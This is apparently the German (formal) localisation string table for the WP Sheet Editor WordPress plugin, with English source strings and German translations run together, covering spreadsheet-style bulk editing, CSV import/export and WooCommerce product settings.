column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{updated} items saved of {total} items that need saving.Project-Id-Version: WP Sheet Editor 2.21.3 Report-Msgid-Bugs-To: Language-Team: Hanno Bolte IT Consulting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PO-Revision-Date: 2020-11-04 20:07+0100 X-Generator: Poedit 2.4.1 Last-Translator: Hanno Bolte Plural-Forms: nplurals=2; plural=(n != 1); Language: de_DE@formal (Sie können diese Hilfemitteilungen in den erweiterten Einstellungen entfernen) (Premium. 7 Tage lang kostenlos testen) Wenn er nicht automatisch startet, finden Sie die Datei im Ordner /wp-content/uploads/wp-sheet-editor-universal-sheet/exports/ auf Ihrem Server.

                  Die Exportdateien werden nach %d Stunden automatisch gelöscht. Einige Spalten haben die Schaltfläche , um die Formatierung zu ändern%d von %d Elementen sind aus der Datei verarbeitet worden. {total_updated} Elemente wurden aktualisiert und {total_created} Elemente wurden erstellt.%s Zeilen werden bearbeitet.%s Variationen erstellt.%s: Zugelassene Arbeitsblattansichten(Kostenlose Erweiterung installieren)(Pro-Erweiterung)- -- Bearbeiten Sie zunächst ein Element im normalen Editor, und füllen Sie alle Felder manuell aus.- Wenn die vorherige Lösung fehlgeschlagen ist, können Sie manuell neue Spalten erstellen.- Vielleicht haben Sie die Spalten aus der Liste gelöscht.- Wir können Ihnen helfen.- Wir können die Datenbank scannen, neue Felder finden und automatisch Spalten erstellen--. Lite-Version. Zeigt alle Produkte und alle Felder als Spalten an. 15 Spalten sind editierbar, die restlichen sind schreibgeschützt.
                  Upgrade:
                  Bearbeitung in Excel/Google Sheets, Export, Import, Massenbearbeitung von Tausenden von Produkten auf einmal.. Upgrade: Export, Import, Bearbeitung in Excel oder Google Sheets; Massenbearbeitung von Tausenden von Zeilen auf einmal, Bearbeitung aller Felder aus anderen Plugins und mehr. Upgraden und tagelange Arbeit sparen. Fügen Sie untergeordnete Kategorien in diesem Format hinzu: Hauptkategorie > Unterkategorie1 > Unterkategorie2. Wir empfehlen Ihnen, den Serverspeicher auf mindestens 256 MB zu erhöhen, um Serverfehler zu vermeiden. Anleitung...0 Zeilen1. Öffnen Sie Google Sheets.
                  2. Klicken Sie auf "WP Sheet Editor" im Menü
                  3 . Geben Sie diesen Link in die Option "Schnellzugriff" in der Seitenleiste von Google Sheet ein.1. Lesen wir die Datei richtig? Hier ist eine Vorschau der ersten 5 Zeilen aus der Datei.2. Bitte machen Sie vor dem Ausführen des Imports eine Sicherheitskopie, damit Sie den Vorgang im Falle falscher Einstellungen oder einer falschen Datei rückgängig machen können. Durch den Import werden die Informationen direkt gespeichert.WeiterlesenDas gesamte Änderungsprotokoll anzeigenBearbeiten des Feldes {field_label}Geld-zurück-Garantie. Kaufen Sie das Plugin bedenkenlos. Wir geben Ihnen eine Rückerstattung, wenn das Plugin nicht funktioniert.Tipp von WP Sheet Editor: Bearbeiten Sie Tausende von Kategorien auf einmal, führen Sie erweiterte Suchen durch, zeigen Sie alle Informationen auf einer Seite an, und mehr.Tipp von WP Sheet Editor: Sie können alle Benutzer in einer Tabelle anzeigen, Tausende von vollständigen Profilen anzeigen, Hunderte von Benutzern auf einmal bearbeiten, ohne dass Ihr Server abstürzt, alle Versand-/Rechnungs-/BuddyPress-Informationen anzeigen. Führen Sie erweiterte Suchvorgänge durch, erstellen Sie Hunderte von Benutzern, und mehr. Plugin herunterladenTipp von WP Sheet Editor: Sie können Produktvarianten in einem Arbeitsblatt anzeigen und bearbeiten, eine Massenbearbeitung durchführen, erweiterte Suchen durchführen, Hunderte von Varianten auf einmal bearbeiten, Varianten auf mehrere Produkte kopieren usw. Plugin herunterladenTipp: Die Formelausführung ist zu langsam? Speichern Sie mehr Positionenje Verarbeitungszyklus
                  Erhalten Sie Fehler bei der Ausführung der Formel? Speichern Sie weniger Positionenje VerarbeitungszyklusTipp: Das Speichern ist zu langsam? Speichern Sie mehr Positionenje Verarbeitungszyklus
                  Erhalten Sie Fehler beim Speichern? Speichern Sie weniger Positionenje VerarbeitungszyklusWP Sheet Editor: Sie können all diese Varianten ansehen und sie alle auf einmal in unserem Arbeitsblatt bearbeiten. Im Arbeitsblatt öffnen
                  Verwenden Sie den Gutschein: %s

                  Der Export ist abgeschlossen.

                  Der Download sollte automatisch starten.

                  Fehlende Spalte?

                  oder
                • Shop-Manager können WooCommerce-Produkte anzeigen und bearbeiten.
                • Fügen Sie dem Arbeitsblatt ein "Duplikat"-Werkzeug hinzu. Sie können eine Zeile auswählen (Beitrag, Produkt, Gutschein usw.) und viele Kopien erstellen.

                  Beispiel. Erstellen Sie 100 Produkte mit den gleichen Tags, Abmessungen, Attributen und Variationen. Und ändern Sie nur ein paar Felder manuell.

                  Advanced Custom Fields-Metaboxen werden automatisch im Arbeitsblatt angezeigt. So können Sie benutzerdefinierte Felder einfach bearbeiten.

                  Erstellen Sie neue Arbeitsblätter mit benutzerdefinierten Spalten und teilen Sie die Arbeitsblätter im Frontend mit Ihren Benutzern oder Mitarbeitern. Nützlich für Marktplätze, auf denen Anbieter Produkte im Arbeitsblatt bearbeiten, Nachrichten oder Veranstaltungseinträge im Frontend zulassen, Veranstaltungsverzeichnisse, Webanwendungen, benutzerdefinierte Dashboards usw.

                  Bearbeiten Sie Hunderte von Beiträgen mit nur wenigen Klicks auf einmal. Suchen und ersetzen, Ersetzen von URLs und Ausdrücken, Massenspeicherung von Werten in Felder, Kopieren von Werten zwischen Feldern, Zusammenführen von Feldern usw.

                  Beispiele: Normalen Preis in Sonderpreis kopieren, Produktattributnamen aktualisieren usw.

                  Bearbeiten Sie Hunderte von Beiträgen auf einmal. Aktualisieren Sie numerische Felder mit erweiterten mathematischen Formeln. Beispiel: Preise um 10% erhöhen, Inventar verwalten usw. Führen Sie beliebige mathematische Formeln aus.

                  Sie können mehrere Felder in der Formel verwenden, z.B. "Normalpreis x Bestand / Sonderpreis"

                  Bearbeiten Sie SEO-Titel, Beschreibung, Schlüsselwort und SEO-Punktzahl im Arbeitsblatt

                  Bearbeiten Sie WooCommerce-Produkte im Arbeitsblatt. Alle Arten von Produkten, einschließlich variabler Produkte, herunterladbarer Produkte, externer Produkte und einfacher Produkte werden unterstützt. Sie können alle Produktfelder im Arbeitsblatt bearbeiten, einschließlich Attribute, Bilder usw.

                  Bearbeiten Sie WordPress-Benutzer im Arbeitsblatt, bearbeiten Sie nur grundlegende Profile und führen Sie einfache Suchvorgänge durch.

                  Bearbeiten Sie WordPress-Benutzer im Arbeitsblatt. Bearbeiten der GESAMTEN Benutzerprofile, einschließlich benutzerdefinierter Felder. Fügen Sie neue Spalten zum Arbeitsblatt hinzu, gut für E-Commerce-Läden, Mitglieds-Websites, Veranstaltungsverzeichnisse, Unternehmensverzeichnisse, Benutzerverzeichnisse

                  Bearbeiten Sie Standard-Beitragsfelder im Arbeitsblatt.

                  Bearbeiten Sie Speisekarten, Kurse, Projekte, Portfolios und alle benutzerdefinierten Beitragsarten.

                  Suchen Sie Beiträge nach Stichwort, Taxonomien, Autor, Datum, Status oder benutzerdefinierten Feldern.

                  Suchen Sie in mehreren Feldern mit erweiterten Operatoren: =, !=, <, >, LIKE, NOT LIKE

                  Beispiele: Finden Sie Produkte aus der Kategorie Audio mit Lagerbestand < 20, oder Produkte aus der Kategorie Apple ohne Beitragsbild, oder Produkte ohne Bildergalerie, die das Schlüsselwort "Google" enthalten.

                  Es ist die beste Möglichkeit, Ihre Kommentare, WooCommerce-Kundenbewertungen, Veranstaltungsbesprechungen, Erfahrungsberichte und Bestellnotizen in einem Arbeitsblatt zu verwalten. Sie können eine erweiterte Suche nach jedem Feld durchführen (Stichwort, Bestellhinweis, Status, Kommentare nach Beitragsart und alle Felder). Sie können sie massenweise bearbeiten, alles auf einmal löschen, nach Excel oder in externe Systeme exportieren, Kommentare und Bewertungen aus anderen Systemen importieren und mehr.

                  Ein Arbeitsblatt für jede benutzerdefinierte Datenbanktabelle, die von anderen Plugins hinzugefügt wurde. Live-Bearbeitung in den Zellen, Massenbearbeitung, erweiterte Suche nach beliebigen Feldern, Export und Import, Massenlöschung, Verschieben von Informationen zwischen Websites, Bearbeiten von Tausenden von Elementen und mehr.

                  Ein Arbeitsblatt für Kategorien, Tags, Produktattribute, Ereigniskategorien, Portfoliokategorien, Realstate-Tags usw. Zeigen und bearbeiten aller Elemente an einem Ort, Copy/Paste, schnelles Hochladen von Kategoriebildern, Hinzufügen von Beschreibungen, Bearbeiten von SEO usw.

                  Ändern Sie die Größe der Spalten im Arbeitsblatt, und speichern Sie sie für zukünftige Sitzungen.

                  Suche im Arbeitsblatt. Suchen Sie Beiträge nach Stichwort, Status und Autor.

                  Zeigen Sie WooCommerce-Gutscheine in einem Arbeitsblatt an. Bearbeiten Sie alle Gutscheinfelder; erweiterte Suche nach einem beliebigen Feld, automatische Generierung von Hunderten von Gutscheinen, Aktualisierung von Hunderten von Gutscheinen auf einmal und mehr.

                  Zeigen Sie alle EDD-Produkte in einem Arbeitsblatt an, erstellen Sie Downloads und Dateien in großen Mengen, bearbeiten Sie Hunderte von Produkten auf einmal mit Hilfe von Formeln, erweiterte Suche mit mehreren Feldern usw.

                  Zeigen Sie alle Ereignisse in einem Arbeitsblatt an, erstellen Sie Ereignisse in großen Mengen, bearbeiten Sie Hunderte von Ereignissen gleichzeitig mit Hilfe von Formeln, führen Sie erweiterte Suchvorgänge über mehrere Ereignisfelder durch usw.

                  Zeigen Sie alle Ihre Kunden in einem Arbeitsblatt an. Vollständiges Profil anzeigen, Profile schnell bearbeiten, Rechnungs- und Versandinformationen anzeigen, erweiterte Kundensuche durchführen, Kunden nach Excel oder Google Sheets exportieren, Kunden aus externen Anwendungen importieren

                  Alle Bestellungen schnell einsehen und versenden. Erweiterte Suche nach beliebigen Feldern (Versandart, Steuern, MwSt., Zahlungsmethoden, Kunden, Produkte usw.), Exportieren von Bestellungen und Kundeninformationen einschließlich Gastkunden; schnelles Bearbeiten von Tausenden von Bestellungen und mehr.

                  Zeigen Sie das Bild, Videos und alle Dateien aus der WP-Medienbibliothek in einem Arbeitsblatt an. Bearbeiten Sie alle Dateifelder, einschließlich Alt-Text, Bildunterschriften, Dateibeschreibungen; erweiterte Suche nach beliebigen Feldern, automatische Generierung von Alt-Text, Untertiteln usw. unter Verwendung von übergeordnetem Beitragstitel oder Beitragskategorie; aktualisieren von Tausenden von Dateien auf einmal und mehr.

                  Sie können Zellen automatisch ausfüllen (kopieren), indem Sie die Zellenecke in andere Zellen ziehen, wie Sie es in Excel tun können.

                  Sie können Spalten für benutzerdefinierte Felder erstellen.
                  Bearbeiten Sie Seiteneinstellungen, die durch Ihr Thema hinzugefügt wurden, Veranstaltungsdetails, Produktinformationen usw.

                  Sie können die Spalten des Arbeitsblatts umbenennen.
                  Beispiel. Anstatt "Verfasser des Beitrags" im Arbeitsblatt anzuzeigen, können Sie es zu "Hochgeladen von" ändern.

                  Sie können Spalten im Arbeitsblatt ein- und ausblenden und sortieren.

                  Bearbeitung des Feldes: {column_label}. Zu bearbeitende Punkte: {total}, Fortschritt: {progress_percentage}%%, Wir haben {edited} Punkte aktualisiert.

                  1- Bitte sichern Sie Ihre Datenbank vor der Ausführung, die Änderungen sind nicht umkehrbar.

                  2- Stellen Sie vor der Ausführung sicher, dass die Massenbearbeitungseinstellungen korrekt sind.

                  Vollständig

                  .

                  Kostenlose Erweiterungen

                  Das automatische Speichern ist fehlgeschlagen. Ihre Änderungen wurden aufgrund eines Fehlers nicht vollständig gespeichert. Sie können es später erneut versuchen; wenn der Fehler weiterhin besteht, kontaktieren Sie unser Support-Team und lassen Sie diese Registerkarte geöffnet

                  Die Massenbearbeitung wurde nicht vollständig abgewickelt. Der Vorgang wurde aufgrund eines Fehlers abgebrochen.

                  Sie können dieses Fenster schließen.

                  Die Änderungen wurden nicht vollständig gespeichert. Der Vorgang wurde aufgrund eines Fehlers abgebrochen.

                  Sie können dieses Popup schließen.

                  Der Import ist abgeschlossen

                  Der Prozess wurde nicht abgeschlossen. Der Prozess wurde aufgrund eines Fehlers abgebrochen.

                  Sie können dieses Fenster schließen.

                  Der Prozess ist abgeschlossen

                  Sie können nur einfache Produkte bearbeiten. Verfügbare Spalten: Titel, URL, Beschreibung, Datum, SKU, regulärer Preis, Sonderpreis, Lagerstatus, Lagerbestand verwalten, Lagermenge.

                  Weitere Spalten und Produkttypen als Premium-Erweiterung verfügbar.

                  Verdienen wir eine 5-Sterne-Bewertung? Ja, Sie haben sie verdient. - . NeinEs fehlt eine Spalte?Es fehlt eine Spalte? Aktivieren Sie sieEs fehlt ein Feld? Klicken Sie hierBeitrag von diesem Beitragstyp annehmenVollbild aktivierenAktivieren Sie diese Option, um die Schaltflächen für die Seitennummerierung zu entfernen und Zeilen automatisch zu laden, wenn Sie nach unten scrollen. Sie sehen dann alle Zeilen gleichzeitig, Sie können problemlos Tausende von Zeilen laden.Aktive Filter:Aktiv.Neu hinzufügenNeue Spalten zum Arbeitsblatt hinzufügenNeues Arbeitsblatt hinzufügenFügen Sie einen Namen für diese Gruppe von Spalten hinzuFügen Sie am Anfang oder am Ende Ihrer Beiträge Aufrufe zu Aktionen oder beliebige Texte hinzuFügen Sie Spalten für benutzerdefinierte Felder hinzuFügen Sie Stunden, Tage, Wochen, Monate oder Jahre zu den vorhandenen Daten hinzu.
                  Wenn das bestehende Datum leer ist, verwenden wir das aktuelle Datum als Basis.Neu hinzufügenNeue Spalte hinzufügenNeuen Beitragstyp hinzufügenNeue Beiträge hinzufügenFügen Sie diesen Code am Anfang der .htaccess-Datei im Stammverzeichnis Ihrer Website ein. Er ist für die Authentifizierung von Anfragen zwischen Google Sheets und WordPress erforderlichUhrzeit zu bestehenden Daten hinzufügenAdministratoren können alles anzeigen und bearbeiten.Erweiterte benutzerdefinierte FelderErweiterte SucheErweiterte EinstellungenErweiterter ModusErweiterte SucheErweiterte EinstellungenAlleAlle ArbeitsblätterAlle Änderungen gespeichert.Alle Elemente wurden gespeichert.Alle im Backend-Arbeitsblatt verfügbaren Funktionen können im Frontend-Arbeitsblatt verwendet werden.Alle Parameter werden für die Suche nach Variationen anstelle der Hauptprodukte verwendet.Alle Produkte im GeschäftAlle variablen ProdukteZulassenLieferrückstand zulassenMehrere Dateien je Feld zulassen?Mehrere Beiträge je Feld zulassen?Bearbeitung mit Hilfe von Formeln zulassen?Ausblenden einer Spalte zulassen?Darf diese Spalte auf der Einstellungsseite ausgeblendet werden?Import von Bildern von FTP-Servern zulassen?Umbenennung von Spalten auf der Einstellungsseite zulassen?Umbenennen von Spalten zulassen?Erlauben Sie Ihren Benutzern, benutzerdefinierte Felder zu bearbeiten, dem Editor neue Spalten hinzuzufügen, Felder zu aktivieren, Kernfelder zu deaktivieren und Felder zu sortieren. Sie können den Frontend-Editor vollständig anpassen.Erlauben Sie Ihren Kunden, WooCommerce-Produkte mit Hilfe des Arbeitsblatts ohne WP-Admin zu bearbeitenErlauben Sie Ihren Marktplatz-Verkäufern die Massenbearbeitung ihrer ProdukteErlauben Sie Ihren Marktplatz-Verkäufern, Produkte über das Frontend zu importierenErlauben Sie Ihren Lesern, Blog-Beiträge mit Hilfe des Arbeitsblatts zu übermittelnErmöglichen Sie Ihren Kunden das Herunterladen des KatalogsErlauben Sie Ihren Kunden, erweiterte Katalogsuchen durchzuführen Ermöglichen Sie Ihren Mitarbeitern die Verwaltung von Lagerbeständen und PreisenErlauben Sie Ihren Besuchern, Veranstaltungen zu veröffentlichenZulassen, aber Kunde benachrichtigenErlaubte WerteAlternativtextUnd mehr.Und eine Vorschau während der Bearbeitung sehenEiner dieser Werte (Geben Sie mehrere durch ; getrennte Werte ein)AnhängenAnwendung/SoftwareÄnderungen insgesamt anwendenEinstellungen anwendenAnwenden auf:Sind Sie sicher, dass Sie die Beitragsart löschen möchten? Sie löschen damit auch die Beiträge mit dieser BeitragsartSind Sie sicher, dass Sie diese Spalte löschen möchten?Eigenschaft %d StandardEigenschaft %d globalEigenschaft %d NameEigenschaft %d Wert(e)Eigenschaft %d sichtbarEigenschaft NameEigenschaft Wert(e)Eigenschaft SichtbarkeitEigenschaftenEigenschaften erscheinen als Dropdowns auf der Produktseite, wo der Benutzer die unterschiedlichen Farben, Größen und jedes Attribut auswählen kann. Hier können Sie die in den Dropdown-Listen ausgewählten Standardoptionen definieren.
                  Separate Werte mit dem Zeichen %s
                  . Dies funktioniert nur für variable Produkte und muss Variationen haben, sonst werden die Standardattribute nicht gespeichert.AutorAutoren können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder können hochgeladen werden.Automatische Wiederholung fehlgeschlagener Vorgänge?Zellen automatisch füllenAutomatischVerfügbare KomponentenVerfügbare ArbeitsblätterVerfügbare Werkzeuge (optional)Durchschnittliche BewertungBackendLieferrückstand erlauben?Einfache SucheDiese Spalten auf die schwarze Liste setzenMehrereMassen-BearbeitungMassen-Update-FunktionMassenaktionenSpalte insgesamt bearbeitenMassenbearbeitung nicht ausgeführt. Es wurden keine Elemente gefunden, die den Kriterien entsprechen.KaufenBundle kaufenErweiterung jetzt kaufen!Standardmäßig zeigt WordPress einen schwarzen Balken oben auf der Seite an, wenn ein angemeldeter Benutzer eine Frontend-Seite aufruft. Über den Balken können Sie auf WP-Admin zugreifen, sich abmelden, die aktuelle Seite bearbeiten usw. Wenn Sie diese Option aktivieren, wird dieser Balken ausgeblendet, und Sie können den Shortcode [vg_display_logout_link] verwenden, um den Logout-Link anzuzeigen.Standardmäßig werden Datumsangaben in einem Kalender angezeigt, Beitrags-Inhalte haben eine Texteditor-Option, Bilder werden als Vorschau angezeigt usw. Sie können diese Option aktivieren, um alles als reinen Text anzuzeigen, und die gefällige Formatierung zu deaktivieren.Standardmäßig zeigen wir automatisch Spalten für alle neu gefundenen Felder an, so dass Sie jedes Mal, wenn wir neue Felder entdecken, diese sehen und sofort bearbeiten können. Aber dies könnte Ihre Spaltensortierung stören oder Sie ärgern, wenn Sie bestimmte Spalten aktiviert haben. Aktivieren Sie diese Option, um diese Spalten zu generieren, aber sie deaktiviert zu belassen, damit Sie sie später aktivieren können.Standardmäßig zeigen wir in einigen Spalten Kommentare an, die das Format eines Wertes oder den Grund angeben, warum sie gesperrt sind. Beispielsweise zeigt die Kategorie-Spalte einen Hinweis, dass Begriffe durch Kommata getrennt werden sollen, und wie untergeordnete Kategorien hinzugefügt werden können; Spalten für Varianten haben einen Hinweis, der anzeigt, warum sie für übergeordnete Produkte gesperrt sind. Sie können diese Option aktivieren, um die Hinweise zu deaktivieren.Standardmäßig zeigen wir die KERN-Zustände an: veröffentlicht, Entwurf, privat, geplant, Papierkorb. Einige Plugins speichern jedoch benutzerdefinierte Zustände: Job-Manager, Woocommerce. Aktivieren Sie diese Option, um alle benutzerdefinierten Zustände in der Spalte "Status" anzuzeigen. AUFPASSEN. Wir zeigen in der Dropdown-Liste alle Zustände aller Beitragstypen an, weil es unmöglich ist, den Beitragstyp jedes Zustands zu kennen, deshalb können wir sie nicht unterscheiden. Tun Sie dies nur, wenn Sie ein Entwickler sind.Standardmäßig zeigen wir die Kategorien als durch Kommata getrennte Namen an. Aktivieren Sie diese Option, um Begriffs-IDs getrennt durch Kommata anzuzeigen und zu speichern.Standardmäßig verwenden wir eine unendliche Liste von Zeilen, und wir laden jedes Mal mehr Zeilen, wenn Sie nach unten scrollen. Sie können diese Option aktivieren, um Links zur Seitennummerierung anzuzeigen und die unbegrenzte Liste zu deaktivierenStandardmäßig verwenden wir eine unendliche Liste von Zeilen und wir laden jedes Mal mehr Zeilen, wenn Sie nach unten scrollen. Sie können diese Option aktivieren, um Links zur Seitennummerierung anzuzeigen, und die unbegrenzte Liste zu deaktivieren.Standardmäßig kopieren wir alle Attribute und alle Variationen und ersetzen die vorhandenen Variationen. Sie können diese Option aktivieren, um einzelne Varianten zu kopieren und an die vorhandenen Varianten des Zielproduktes anzuhängen.Standardmäßig erlaubt die Importroutine das Speichern von Bildern unter Verwendung vollständiger interner URLs, externer URLs, des Dateinamens (aus der Medienbibliothek) und der Datei-ID. Wenn Sie diese Option aktivieren, werden FTP-URLs wie diese unterstützt: ftp://user:password@host:port/path/to/image.png. Dadurch wird der Import langsamerStandardmäßig exportieren und importieren wir eine Spalte namens "Bilder", in der das Beitragsbild und Galeriebilder kombiniert sind. Aktivieren Sie diese Option, um eine Spalte mit dem Beitragsbild und eine Spalte mit Galeriebildern zu exportieren und zu importierenStandardmäßig zeigen wir die Feldbezeichnung in der Zelle anstelle des Rohwerts an. Sie können diese Option jedoch aktivieren, um den Rohwert in den Zellen anzuzeigen.Standardmäßig fügen wir die Datei-ID zu jeder Bild-URL hinzu, wenn Sie die Spalte mit den Beitragsbildern oder Galeriebildern exportieren, damit wir sie später schneller importieren können. Sie können diese Option aktivieren, um die Datei-ID nicht hinzuzufügen; der Import wird später problemlos funktionieren, aber nicht so schnell seinStandardmäßig stoppt der Import, wenn ein Produkt auf ein defektes Bild verweist, und Sie müssen das Problem in der Datei korrigieren und einen neuen Import starten. Aktivieren Sie diese Option, um Produkte ohne Bilder zu importieren, wenn die Bild-URL defekt istCSV-SpalteCSV-FeldCSV-DateiCSV-Datei von meinem ComputerCSV-Datei von URLCSV-Datei auf dem ServerSpeicherort der CSV-DateiKalenderAbbrechenImport abbrechenÄnderungen abbrechen und Popup schließenSchreiben Sie den ersten Buchstaben jedes Wortes im Feld groß. D.h. wandeln Sie "mein Titel" in "Mein Titel" um.Wörter groß schreibenUntertitelVorsicht: Die Änderungen sind nicht umkehrbar. Bitte überprüfen Sie sie noch einmal, bevor Sie fortfahren.Name der Kategorie...ZellentypAttribut-Einstellungen ändernÄnderungen gespeichertÄnderungen erfolgreich gespeichertKontrollkästchenWert löschenKlicken Sie hier, um wieder alle Spalten anzuzeigenVermiedene Klicks
                  (geschätzt)SchließenSpaltenformatSpaltenschlüsselSpaltennameSpalte nicht gefunden. Versuchen Sie es mit anderen Suchkriterien.Spalte entfernt. Gehen Sie zu "Einstellungen > Spalten ein-/ausblenden", um sie wieder zu aktivierenSpaltenbreite (Pixel)Die Spalten konnten nicht gespeichert werden. Versuchen Sie es noch einmal.Begrenzung der SpaltenSpalten-ManagerUmbenennung von SpaltenGrößenänderung von SpaltenSpalten erfolgreich wiederhergestellt, bitte laden Sie die Seite neu, um die wiederhergestellten Spalten zu sehen und sie zu aktivierenSichtbarkeit der SpaltenSichtbarkeit der Spalten und benutzerdefinierte Felder (optional)KommentareArbeitsblatt für Kommentare, Bewertungen und BestellhinweiseKontaktieren Sie unsEnthält SchlüsselwortInhaltWeiterBeitragende können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder können nicht hochladen werden.Aus einem anderen Arbeitsblatt oder einer Tabelle kopieren und einfügenIn das Arbeitsblatt unten kopieren und einfügenAus diesem Produkt Dateien kopieren: (Sie müssen die Änderungen anschließend speichern)Aus anderen Spalten kopierenAus dieser Spalte kopierenNormalen Preis kopieren und prozentual verringernNormalen Preis kopieren und Anzahl verringernDen Wert anderer Felder in dieses Feld kopieren.
                  Beispiel: Kopieren Sie "Sonderpreis" in das Feld "Normaler Preis".Die Varianten in diese Produkte kopieren.Diesen Zugangslink kopieren und in Google Sheets einfügen. Link für den SchnellzugriffVarianten kopierenVarianten und Attribute dieses Produkts kopieren:Varianten dieses Produkts kopierenVarianten für variable Produkte erstellen und kopieren.Spalte erstellenNeue Elemente erstellen und bestehende Elemente aktualisierenDiese Anzahl von Varianten erstellenVarianten erstellenVarianten für jede Kombination von Attributen erstellen?Cross-SellingAktuelles Arbeitsblatt: %sBenutzerdefiniertes Arbeitsblatt für DatenbanktabellenBenutzerdefiniertes Attribut: %sBenutzerdefinierte SpaltenBenutzerdefinierte FormelBenutzerdefinierte BeitragstypenFunktionen anpassenDaten fehlen, versuchen Sie es später noch einmal.DatenquelleDatumDatumsbereich vonTageAlles deaktivieren. Nur die REST-API verwendenDaten-Prefetch deaktivierenAnführungszeichen dekodieren?Verringern umVerringern um AnzahlVerringern um ProzentsatzDen vorhandenen Wert um eine Zahl verringern.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Den vorhandenen Wert um einen Prozentsatz verringern.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. 3,845602 wird zu 3,85Ziehen Sie eine Anzahl von Stunden, Tagen, Wochen, Monaten oder Jahren von den vorhandenen Daten ab.
                  Wenn das vorhandene Datum leer ist, verwenden wir das aktuelle Datum als Basis.Zeit von bestehenden Daten abziehenStandard-AttributStandard-AttributeLöschenAlles löschenVollständig löschenFeld löschenBeiträge schneller löschen: Anzahl der zu löschenden Beiträge je ZyklusZeile löschenBeim Löschen eines Beitrags die angehängten Bilder löschen?Löschen Sie die neuesten Elemente und behalten Sie das älteste ElementLöschen Sie die alten Elemente, und behalten Sie das neueste ElementBenutzerkonten im gesamten Netzwerk löschen, wenn der Benutzer im Arbeitsblatt gelöscht wird?Demo-VideoBeschreibungAlles deaktivierenVerzögertes Laden der Zellen deaktivieren?Spalte deaktivieren. Sie können sie später aktivieren.Erweiterungsangebote deaktivieren?Beitragsaktionen beim Speichern deaktivieren?Produktbestandsstatistiken deaktivieren?Unterstützung für serialisierte Spalten deaktivieren?Hinzufügen der Datei-ID zu den Bild-URLs deaktivieren?Automatische Formatierungserkennung deaktivieren?Automatisches Laden von Zeilen deaktivieren?Vollbildmodus deaktivieren?Die Heartbeat API für das Arbeitsblatt deaktivieren?Ersetzung von Zeilenumbrüchen durch p-Tags deaktivieren?Deaktivieren Sie dies, wenn Sie ein Objekt-/Datenbank-Cache-Plugin verwenden. Wenn Sie viele Beiträge bearbeiten, deaktivieren wir dies standardmäßig, um das Speichern schneller zu machen. WordPress versucht, den Cache zu "bereinigen", auch wenn Sie kein Cache-Plugin verwenden, was Hunderte von unnötigen Datenbankabfragen zur Folge hat.Nutzungsstatistik-Widget deaktivieren?DeaktiviertRohwert auf ausgewählten Zellen anzeigen?Tabelleneditor im Frontend anzeigenDen Tabelleneditor im Frontend anzeigenVarianten anzeigenNicht zulassenDie Bilder der Varianten nicht kopieren?Möchten Sie Spalten für neu gefundene Felder deaktivieren?Möchten Sie Elemente aktualisieren oder erstellen?%d URL(s) herunterladen%d Namen herunterladenCSV-Datei herunterladenDownload URLDownload-AblaufdatumDateien herunterladenDateien herunterladen : URLsDateien herunterladen : NamenDownloadlimitDownload NameDownload-TypHerunterladbarDownloadsZiehen Sie die Spalten auf die linke oder rechte Seite, um sie zu aktivieren/deaktivieren, ziehen Sie sie nach oben oder unten, um sie zu sortieren, klicken Sie auf die Schaltfläche "Bearbeiten", um sie umzubenennen, klicken Sie auf die Schaltfläche "x", um sie vollständig zu löschen (nur wenn sie vorher deaktiviert wurden).Dropdown-Menü mit vordefinierten OptionenDuplizierenDuplizieren (Werkzeug)Von der Hauptsprache duplizierenMengen von Elementen duplizierenMengen von Elementen duplizieren.Zeile duplizierenDieses Element duplizieren:SPALTEN AKTIVIEREN. Diese Spalten erfordern ein Neuladen der Seite: {columns}. Möchten Sie jetzt neu laden? Wir werden automatisch neu ladenEinfaches Arbeitsblatt für digitale DownloadsBearbeitenBearbeiten %s bearbeitenGutscheine in einem Arbeitsblatt bearbeiten.
                  Bearbeiten von Gutschein-Codes, Beträgen, Status, Einschränkungen und mehr. Erweiterte Suchvorgänge durchführen. Das Arbeitsblatt ist mit Ihrer Website synchronisiert, Sie müssen nichts importieren/exportieren. Plugin herunterladenBenutzerdefinierte Felder im Arbeitsblatt bearbeitenBeiträge und Seiten in einem Arbeitsblatt bearbeitenBenutzerprofile im Arbeitsblatt bearbeiten - BasisBenutzerprofile im Arbeitsblatt bearbeiten - FULLWooCommerce-Produkte, WooCommerce-Varianten und Attribute bearbeiten.
                  Hunderte von Beiträgen auf einmal mit Formeln bearbeiten, Informationen zwischen Beiträgen kopieren,
                  Benutzerdefinierte Beitragstypen und benutzerdefinierte Felder bearbeiten, Benutzerprofile bearbeiten und mehrWordPress bearbeiten %sAlle Zeilen meiner aktuellen Suche bearbeiten (einschließlich der nicht sichtbaren Zeilen).Attribute bearbeitenKategorien, Tags, Attribute in einem Arbeitsblatt bearbeitenDateien bearbeitenIn Google Sheets bearbeitenIn einem Arbeitsblatt bearbeitenMeta-Schlüssel bearbeitenEinstellungen bearbeitenDie Zeilen bearbeiten, die ich manuell im Arbeitsblatt ausgewählt habe."%s" bearbeitenBeim Bearbeiten:Editoren können alle Beiträge und Seiten anzeigen und bearbeiten.ElementorE-MailAktivierenErweiterte Filter aktivierenAlles aktivierenAutomatisches Speichern aktivieren?Spalte aktivierenKommentare aktivierenNeues Arbeitsblatt aktivierenOption zur Einschränkung der Arbeitsblattansichten je Benutzer aktivieren?Seitennummerierung aktivierenBewertungen aktivierenEinfachen Modus aktivieren?REST-API aktivierenErweiterten Modus unten auf der Seite aktivieren, um die Spaltenbreite, das Format (Editor, Datei-Upload, Taxonomien) usw. anzupassen.Den Selektor für ausgefallene Taxonomiebegriffe aktivierenUTF8-Kodierungs-Bugfix aktivierenAktivieren Sie diese Option, wenn Sie alle Daten der Variante mit Ausnahme des Variantenbildes kopieren möchten.AktiviertDas Aktivieren dieser Spalte erfordert ein Neuladen der Seite%s eingebenGeben Sie IDs durch Kommata, Leerzeichen, neue Zeilen oder Tabulatoren getrennt ein. Sie können 